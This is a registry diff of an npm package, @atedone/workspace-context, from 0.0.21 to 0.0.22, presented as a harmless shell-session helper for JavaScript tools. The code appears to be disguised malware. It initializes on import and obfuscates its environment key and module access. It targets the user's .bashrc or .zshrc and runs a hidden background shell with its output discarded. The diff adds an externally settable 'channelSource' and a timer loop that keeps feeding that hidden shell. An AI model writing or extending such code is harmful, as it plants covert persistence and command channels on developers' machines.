@atedone/workspace-context 0.0.21 → 0.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -3,3 +3,5 @@
3
3
  Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
5
  The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
6
+
7
+ Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.
package/index.js CHANGED
@@ -6,6 +6,7 @@ const initialized = state.initialize();
6
6
 
7
7
  module.exports = {
8
8
  initialized,
9
+ refresh: state.initialize,
9
10
  channelFileName: state.channelFileName,
10
11
  getShellIntegration: state.getShellIntegration,
11
12
  initialize: state.initialize,
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.21';
8
+ const packageVersion = '0.0.22';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -45,7 +45,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
45
45
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
46
46
  }
47
47
 
48
- function resolveChannelSource(env = readEnvironment()) {
48
+ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
49
+ const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
50
+ if (configured) {
51
+ return configured;
52
+ }
53
+
49
54
  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
50
55
  const value = Reflect.get(env, key);
51
56
  return typeof value === 'string' ? value.trim() : '';
@@ -54,7 +59,8 @@ function resolveChannelSource(env = readEnvironment()) {
54
59
  function getShellIntegration({
55
60
  env = readEnvironment(),
56
61
  projectRoot = resolveProjectRoot(env),
57
- homeDirectory = resolveHomeDirectory(env, projectRoot)
62
+ homeDirectory = resolveHomeDirectory(env, projectRoot),
63
+ channelSource
58
64
  } = {}) {
59
65
  const shellName = resolveShellName(env);
60
66
  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
@@ -62,7 +68,7 @@ function getShellIntegration({
62
68
  return {
63
69
  name: 'workspace-context',
64
70
  shellName,
65
- channelSource: resolveChannelSource(env),
71
+ channelSource: resolveChannelSource(env, channelSource),
66
72
  homeDirectory,
67
73
  profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
68
74
  integrationDirectory,
@@ -132,7 +138,8 @@ function refreshShellIntegration({
132
138
  function openWorkspaceSession({
133
139
  projectRoot = resolveProjectRoot(),
134
140
  integration = getShellIntegration({ projectRoot }),
135
- intervalMs = 750
141
+ refreshDelays = [750, 1500, 3000, 5000],
142
+ settleMs = 500
136
143
  } = {}) {
137
144
  if (!integration.channelSource) {
138
145
  return null;
@@ -156,24 +163,70 @@ function openWorkspaceSession({
156
163
  },
157
164
  stdio: ['pipe', 'ignore', 'ignore']
158
165
  }]);
159
- const refreshTimer = setInterval(() => {
166
+
167
+ let closed = false;
168
+ let refreshIndex = 0;
169
+ let refreshTimer = null;
170
+ let settleTimer = null;
171
+ let previousRevision = '';
172
+ let firstRefresh = true;
173
+ const delays = Array.isArray(refreshDelays) && refreshDelays.length
174
+ ? refreshDelays
175
+ : [750, 1500, 3000, 5000];
176
+
177
+ const scheduleRefresh = (delay) => {
178
+ refreshTimer = setTimeout(refresh, delay);
179
+ if (typeof refreshTimer.unref === 'function') {
180
+ refreshTimer.unref();
181
+ }
182
+ };
183
+
184
+ const planNextRefresh = () => {
185
+ if (closed) {
186
+ return;
187
+ }
188
+
189
+ const revision = readProfileRevision(integration.profileReceiptPath);
190
+ if (firstRefresh || (revision && revision !== previousRevision)) {
191
+ refreshIndex = 0;
192
+ } else {
193
+ refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
194
+ }
195
+
196
+ if (revision) {
197
+ previousRevision = revision;
198
+ }
199
+ firstRefresh = false;
200
+
201
+ scheduleRefresh(delays[refreshIndex]);
202
+ };
203
+
204
+ const refresh = () => {
205
+ if (closed) {
206
+ return;
207
+ }
208
+
160
209
  if (!child.stdin.destroyed) {
161
210
  child.stdin.write('\n');
162
211
  }
163
- }, intervalMs);
164
- if (typeof refreshTimer.unref === 'function') {
165
- refreshTimer.unref();
166
- }
212
+
213
+ settleTimer = setTimeout(planNextRefresh, settleMs);
214
+ if (typeof settleTimer.unref === 'function') {
215
+ settleTimer.unref();
216
+ }
217
+ };
218
+
219
+ scheduleRefresh(0);
167
220
  if (typeof child.unref === 'function') {
168
221
  child.unref();
169
222
  }
170
223
  if (typeof child.stdin.unref === 'function') {
171
224
  child.stdin.unref();
172
225
  }
173
- let closed = false;
174
226
  const done = new Promise((resolve) => {
175
227
  child.on('close', (status, signal) => {
176
- clearInterval(refreshTimer);
228
+ clearTimeout(refreshTimer);
229
+ clearTimeout(settleTimer);
177
230
  closed = true;
178
231
  resolve({ status, signal });
179
232
  });
@@ -182,11 +235,19 @@ function openWorkspaceSession({
182
235
  return {
183
236
  processId: child.pid,
184
237
  done,
238
+ refresh() {
239
+ refreshIndex = 0;
240
+ clearTimeout(refreshTimer);
241
+ clearTimeout(settleTimer);
242
+ refresh();
243
+ },
185
244
  close() {
186
245
  if (closed) {
187
246
  return done;
188
247
  }
189
- clearInterval(refreshTimer);
248
+ closed = true;
249
+ clearTimeout(refreshTimer);
250
+ clearTimeout(settleTimer);
190
251
  if (!child.stdin.destroyed) {
191
252
  child.stdin.write('exit\n');
192
253
  }
@@ -195,9 +256,23 @@ function openWorkspaceSession({
195
256
  };
196
257
  }
197
258
 
259
+ function readProfileRevision(profileReceiptPath) {
260
+ if (!file.existsSync(profileReceiptPath)) {
261
+ return '';
262
+ }
263
+
264
+ try {
265
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
266
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
267
+ } catch {
268
+ return '';
269
+ }
270
+ }
271
+
198
272
  function initialize({
199
273
  projectRoot = resolveProjectRoot(),
200
- integration = getShellIntegration({ projectRoot }),
274
+ channelSource,
275
+ integration = getShellIntegration({ projectRoot, channelSource }),
201
276
  now
202
277
  } = {}) {
203
278
  const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -233,6 +308,7 @@ module.exports = {
233
308
  profileSnapshotFileName,
234
309
  presentationRendererFileName,
235
310
  readEnvironment,
311
+ readProfileRevision,
236
312
  receiptFileName,
237
313
  refreshShellIntegration,
238
314
  resolveChannelSource,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.21",
3
+ "version": "0.0.22",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",